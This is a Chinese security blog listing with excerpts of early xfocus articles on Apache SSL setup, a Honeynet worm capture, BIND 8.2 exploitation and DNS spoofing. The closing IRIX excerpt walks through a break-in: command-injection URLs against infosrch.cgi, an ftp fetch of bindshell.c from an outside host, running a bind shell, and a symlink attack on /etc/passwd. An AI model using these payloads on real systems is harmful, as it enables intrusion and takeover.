Posts for: #Security

用SSL构建一个安全的Apache

(quack_at_xfocus.org)

用SSL构建一个安全的Apache

by quack

参考资料:Installing and Securing the Apache Webserver with SSL

一、简介

这篇文章要说明的是如何将阿帕奇与SSL(Secure Socket Layer)结合起来安装

配置。众所周知,在网络上以明文传递敏感信息是相当不安全的,因此SSL提供

了一种加密手段,在底层上为上层协议提供服务和加密方案,因此当用户在以

HTTP协议传输数据时,窥探者将难以获取数据的信息。当然加密只是在传输过程

中的,对用户是完全透明的。                                    ^^^^^^^^

那么就开始吧……

二、准备工作

如果你的系统是从头装起的话,建议你留出一个叫/chroot的分区用来运行Apache。

至于这个分区的大小,取决于你自已,一般来说,一个普通的网站有40M也就够了。

但你的系统如果早就运行了Apache,你可以另外开辟一个分区,或者选择不用独立

分区来安装,仅仅在根下面开一个目录。

另外我假定你的系统已经通过了一定的安全检测――在安装Apache之前(如果有其它

漏洞存在的话,你认为运行在其上的Apache会怎样,所谓覆巢之下,焉有完卵:),检

测至少要包括(但不仅限于)――移除不安全的SUID程序、升级某些守护进程,去掉不

必要的服务。还假定你是的WEB SERVER是运行TCP/IP而且有自己的地址。

三、平台

以下测试都在下列平台下通过:

1、Slackware 4.x distribution using gcc 2.7.2.3 and Perl v5.005_02

2、Solaris 7 on Sparc using gcc v2.8.1 and Perl v5.005_03

四、获取所需要的软件

因为阿帕奇并没有在她的包里自己SSL,因此我们必须先下载到这些加密网页所必需的

部份:

1、Apache Web Server - http://www.apache.org/dist/

不必多说,我们当然需要获得这个web server,现在的版本是1.3.11,阿帕奇是现在世界

上使用最广泛的web server。

2、mod_ssl - http://www.modssl.org

这是一个为Apache1.3.x web server提供强力加密的的软件模块,它使用的是SSL v2和v3

[阅读全文]

了解你的敌人:蠕虫战

本文是 Honeynet Project 的"了解你的敌人:蠕虫战"系列文章的中文翻译,原文发布于 project.honeynet.org,中文翻译来自 xfocus.net

这文章纯粹是在好奇的情况下产生的,我们的Honeynet的UDP端口137和TCP端口139被多次扫描,我们的网络中这种端口一天内居然被扫描5-10次,怀疑有一定原因。为了了解这些扫描的动机,我们设置了WIN98的honeypot,因为基于这些端口的系统一般上WIN系统,并做在那里等攻击者的操作,我们没有等很长时间,就有了这篇Know you Enemy系列的后续。

 

Windows上的honeypot

在一个月的时间内(2000/9/20-2000/10/20)我们确认在我们的网络"honeypot"遭受过524个基于NetBIOS扫描。这些扫描是基于UDP137端口(NetBIOS命名服务)的探测,有时伴随着基于TCP139端口(NetBIOS会话服务)。所有这些表明存在大量的针对特殊服务的扫描活动,某些事情正在发生,我们决定发现出了什么事。

我们的网络并没有在Internet做什么广告或者宣传,仅仅是放在那里。所有迹象表明这些我们接受到的扫描仅仅是随机扫描。但同样会威胁到你的系统的安全,由于这些扫描主要针对Windows系统,有可能主要瞄准通过DSL或Cable连接的普通家庭用户。我们不讨论间谍或主页被黑,我们在这里仅讨论一般家庭用户作为被攻击的对象。我们对这一切感到好奇:谁正在作这样的扫描?他们的意图是什么?为什么存在大量的这种扫描?协同探测的结果?是蠕虫吗?带着很多问题,我们决定去发现结果并放置了我们的Windows"honeypot",我们缺省安装了一台Windows98并且使c:盘共享,尽管一台Windows98 “honeypot"听起来并没有多大的诱惑力,但是仍然可以通过建立这样的系统来获得我们所想知道的。

  • 在Internet上有大量的Windows98系统,而且这个数量还在快速增长。作为具有代表性的系统,该系统存在大量的安全漏洞。但是作为家庭用户并没有认识到连接到Internet的风险性,他们中的大多数还是专注地连接Internet。

  • 这是我们的第一个基于Microsoft的"honeypot”,该计划也非常简单并且希望学到一些东西。

在2000/10/31日,系统安装好,共享打开,并且连接到Internet,我们开始等待,等待时间是如此漫长。

第一条蠕虫

至少24小时后我们接待了我们的第一位访客。IP为216.191.92.10的系统(host-010.hsf.on.ca)扫描了我们的网络搜寻Windows系统,他发现了我们的"honeypot"并且开始查询它。一开始他尝试获得系统名并确定共享是否打开。一旦他发现共享打开,开始在我们的系统上探测某种二进制文件。他的目标是确定在我们的"honeypot"上是否安装了某种蠕虫,如果没有,就会安装它。在这里,这种蠕虫并没有被安装,这个蠕虫被确定为"Win32.Bymer Worm"。此蠕虫的目的在于利用占领的主机的CPU资源来帮助某人赢得distributed.net竞赛,distributed.net是一个提供利用分布式计算机空闲资源进行各种挑战(如 crack RC5-64)奖项的组织。如果赢得挑战将获得一些奖金,在这里,我们的访客通过安装蠕虫把我们当成"志愿军"来参加这个项目。

某个人([email protected]),制作了这个可复制的蠕虫,它可以在不被怀疑的有漏洞的Windows系统上安装distributed.net客户端。一旦被安装且被执行,蠕虫就可以利用你的系统CPU资源帮助安装的人赢得奖金。期间蠕虫也会探测别的可能被入侵的系统,它的目标是获取更多的CPU资源,处理速度会随着入侵系统的增多而呈指数增长。让我们来看一下通过网络捕获的数据包(在这里我们使用snort)。为了更方便的分析NetBIOS协议,你需要一些协议分析器如Ethereal。这个过程通过sniffer追踪如下,IP为172.16.1.105的是我们"honeypot"的地址。

在一开始的时候,蠕虫在我们的系统上检查dnetc.ini,这是distributed.net客户端的标准配置文件,该配置文件告诉主服务器谁的CPU资源引该被信任。在这里我们通过跟踪远程系统(NetBIOS名称GHUNT,帐号GHUNT,域名HSFOPROV)的记录发现他拷贝这个文件到我们"honeypot"中。

11/01-15:29:18.580895 216.191.92.10:2900 -> 172.16.1.105:139

TCP TTL:112 TOS:0x0 ID:50235  DF

PA Seq: 0x12930C6   Ack: 0x66B7068   Win: 0x2185

00 00 00 5B FF 53 4D 42 2D 00 00 00 00 00 01 00  …[.SMB-…….

00 00 00 00 00 00 00 00 00 00 00 00 00 C8 57 1C  …………..W.

[阅读全文]

bind8.2-8.2.2漏洞利用HOWTO

quack (quack_at_xfocus.org)

bind8.2-8.2.2漏洞利用HOWTO

by quack

参考资料:NXT-Howto—by E-Mind

Section A - 何谓DNS?


     1. 怎样查询一个DNS?

        

         首先,你或许知道如果你配置好TCP/IP后希望能通过你的浏览器直接键入主机名

         就能找到一个网站,而不必每次都键入复杂难记的IP地址的话,你还需要配置

         DNS服务器,你可以从你的ISP那里得到DNS服务器的地址。UNIX系统提供了一个

         叫nslookup的实用工具来对DNS进行查询,它的语法如下:

         $nslookup

         或者

         $nslookup

        

         配置DNS需要两个关于域的列表――zone文件,一个zone文件用来将域名解析为IP,

         另一个则将IP解析为域名,nslookup则是两者交互的工具,简单地在shell下键入

         nslookup并回车,你会得到一个>提示符,然后我们就可以输入IP地址或者域名了。

         关于nslookup的其它命令在后面我们会再陆续提到……

        

      2. 如何发现DNS的漏洞?

         记住我们是在寻找可利用的nameserver。

         首先我们必须找出运行在远程机器上DNS服务器的版本号,而且最好还要找出它

         的操作系统――现在已经有很多关于这些的讨论。我们将使用一个在大多数UNIX

         系统中都能使用的实用工具dig来做这件事,它的语法是:

         $dig @<victim_ip> version.bind chaos txt | grep "8

        

         然后查看输出,如果你看到的是8.2或者8.2.1或8.2.2,那么它存在漏洞,如果是

         8.2.2P2 - P5则是安全的。

  

         如果你无法从你的终端中得到任何输出,则可能是DNS管理员修改过源代码,限制

         了这一信息的输出,当然它也有可能是存在漏洞的。

        

Section B - 如何编辑DNS?


   DNS的配置文件都是些文本,所以你要更改或者添加入口只需要编辑该文件并重启服务就

   行了,这个文件是/etc/named.conf或者/etc/named.boot,如果/etc/named.conf存在,

   那么它就是你的目标了……

  

      1. 怎样找到域文件?

         这是很简单的工作――你需要编辑zone文件来改变或者添加一个通往该域的入

         口,比如说――infoseek.com吧,主机名是www,所以正式域名(FQDN)就是

         www.infoseek.com(FQDN=Fully Qualified Domain Name),要找到该zone文件

         我们首先要向DNS服务器进行查询,具体如下:

        

         $nslookup

         Default Server:  xxxxxx.xxxxxxx.xx.xx

         Address:  xxx.xx.xx.xx

         >set q=ns

         >infoseek.com

         >infoseek.com      nameserver = NS-UU.infoseek.com

[阅读全文]

几个DNS问题

quack (quack_at_xfocus.org)

几个DNS问题

by xxbin

现在的Internet上存在的DNS服务器有绝大多数都是用bind来架设的,使用的bind版本

主要为bind 4.9.5+P1以前版本和bind 8.2.2-P5以前版本.这些bind有个共同的特点,

就是BIND会缓存(Cache)所有已经查询过的结果,这个问题就引起了下面的几个问题的

存在.

1>.DNS欺骗

在DNS的缓存还没有过期之前,如果在DNS的缓存中已经存在的记录,一旦有客户查询,

DNS服务器将会直接返回缓存中的记录.

下面我们来看一个例子:

一台运行着unix的Internet主机,并且提供rlogin服务,它的IP地址为123.45.67.89,

它使用的DNS服务器(即/etc/resolv.conf中指向的DNS服务器)的IP地址为98.76.54.32,

某个客户端(IP地址为38.222.74.2)试图连接到unix主机的rlogin端口,假设unix主机的

/etc/hosts.equiv文件中使用的是dns名称来允许目标主机的访问,那么unix主机会向

IP为98.76.54.32的DNS服务器发出一个PTR记录的查询:

123.45.67.89 -> 98.76.54.32 [Query]

NQY: 1 NAN: 0 NNS: 0 NAD: 0

QY: 2.74.222.38.in-addr.arpa PTR

IP为98.76.54.32的DNS服务器中没有这个反向查询域的信息,经过一番查询,这个DNS

服务器找到38.222.74.2和38.222.74.10为74.222.38.in-addr.arpa.的权威DNS服务器,

所以它会向38.222.74.2发出PTR查询:

98.76.54.32 -> 38.222.74.2 [Query]

NQY: 1 NAN: 0 NNS: 0 NAD: 0

QY: 2.74.222.38.in-addr.arpa PTR

请注意,38.222.74.2是我们的客户端IP,也就是说这台机子是完全掌握在我们手中的.

我们可以更改它的DNS记录,让它返回我们所需要的结果:

38.222.74.2 -> 98.76.54.32 [Answer]

NQY: 1 NAN: 2 NNS: 2 NAD: 2

QY: 2.74.222.38.in-addr.arpa PTR

AN: 2.74.222.38.in-addr.arpa PTR trusted.host.com

[阅读全文]

一次尝试IRIX的过程(nobody shell)

(quack_at_xfocus.org)

一次尝试IRIX的过程(nobody shell)

  

by quack[email protected]

http://www.xfocus.org  安全焦点

  

   有个家伙跟我说过某个站点是IRIX,有个infosrch的cgi漏洞,OK,假定该站为www.targe.co.jp

1、http://www.targe.co.jp/cgi-bin/infosrch.cgi?cmd=getdoc&db;=man&fname;=|ls%20-la

   这就是它的利用方法了。其中ls -la是我们要运行的命令,我不太习惯在web shell里面干活,还

   是要弄出一个shell有个$来得方便些,于是就用ftp。

2、http://www.targe.co.jp/cgi-bin/infosrch.cgi?cmd=getdoc&db;=man&fname;=echo%20open%20www.xfocus.org>/tmp/a

   ……

   ……

   上面这些其实就是把这一段东西输进/tmp/a中:

   open www.xfocus.org           <———别当真,这里没有这个东西;)

   user quack quack              <———我的用户名密码

   binary

   cd /home/quack

   lcd /tmp

   prompt

   get bindshell.c               <———这是一个绑定shell的东西,网上到处有

   bye

  

   http://www.targe.co.jp/cgi-bin/infosrch.cgi?cmd=getdoc&db;=man&fname;=|nohup%20ftp%20-ivn%20</tmp/a

   这里呢,就是在运行ftp取回东西了;)这么拿文件的话在xferlog里不会有记录。

   http://www.targe.co.jp/cgi-bin/infosrch.cgi?cmd=getdoc&db;=man&fname;=|/usr/local/bin/gcc%20/tmp/bindshell.c%20-o%20/tmp/abc

   编译

   http://www.targe.co.jp/cgi-bin/infosrch.cgi?cmd=getdoc&db;=man&fname;=|/tmp/abc

   运行……

3、现在我们可以telnet上去了

    bash# telnet ...  12345

    Trying ...

    Connected to ....

    Escape character is ‘^]’.

    sh -i;

    $ id;

    uid=60001(nobody) gid=60001(nobody)

    $

4、利用IRIX的inpview漏洞,该漏洞的描述如下:

   某些版本IRIX下的inpview会在/var/tmp/目录下不安全地建立临时文件,这些临时文

   件名并不随机,用户可以建立一个符号链接到其他文件,利用inpview的

   setuid-to-root权限覆盖其他文件,同时对应文件权限被更改成0666。

   漏洞利用程序就不贴了,大家自己看看,很简单的,总之编译完成之后。

   $ ./a.out /etc/passwd;

   copyright LAST STAGE OF DELIRIUM jan 2000 poland  //lsd-pl.net/

[阅读全文]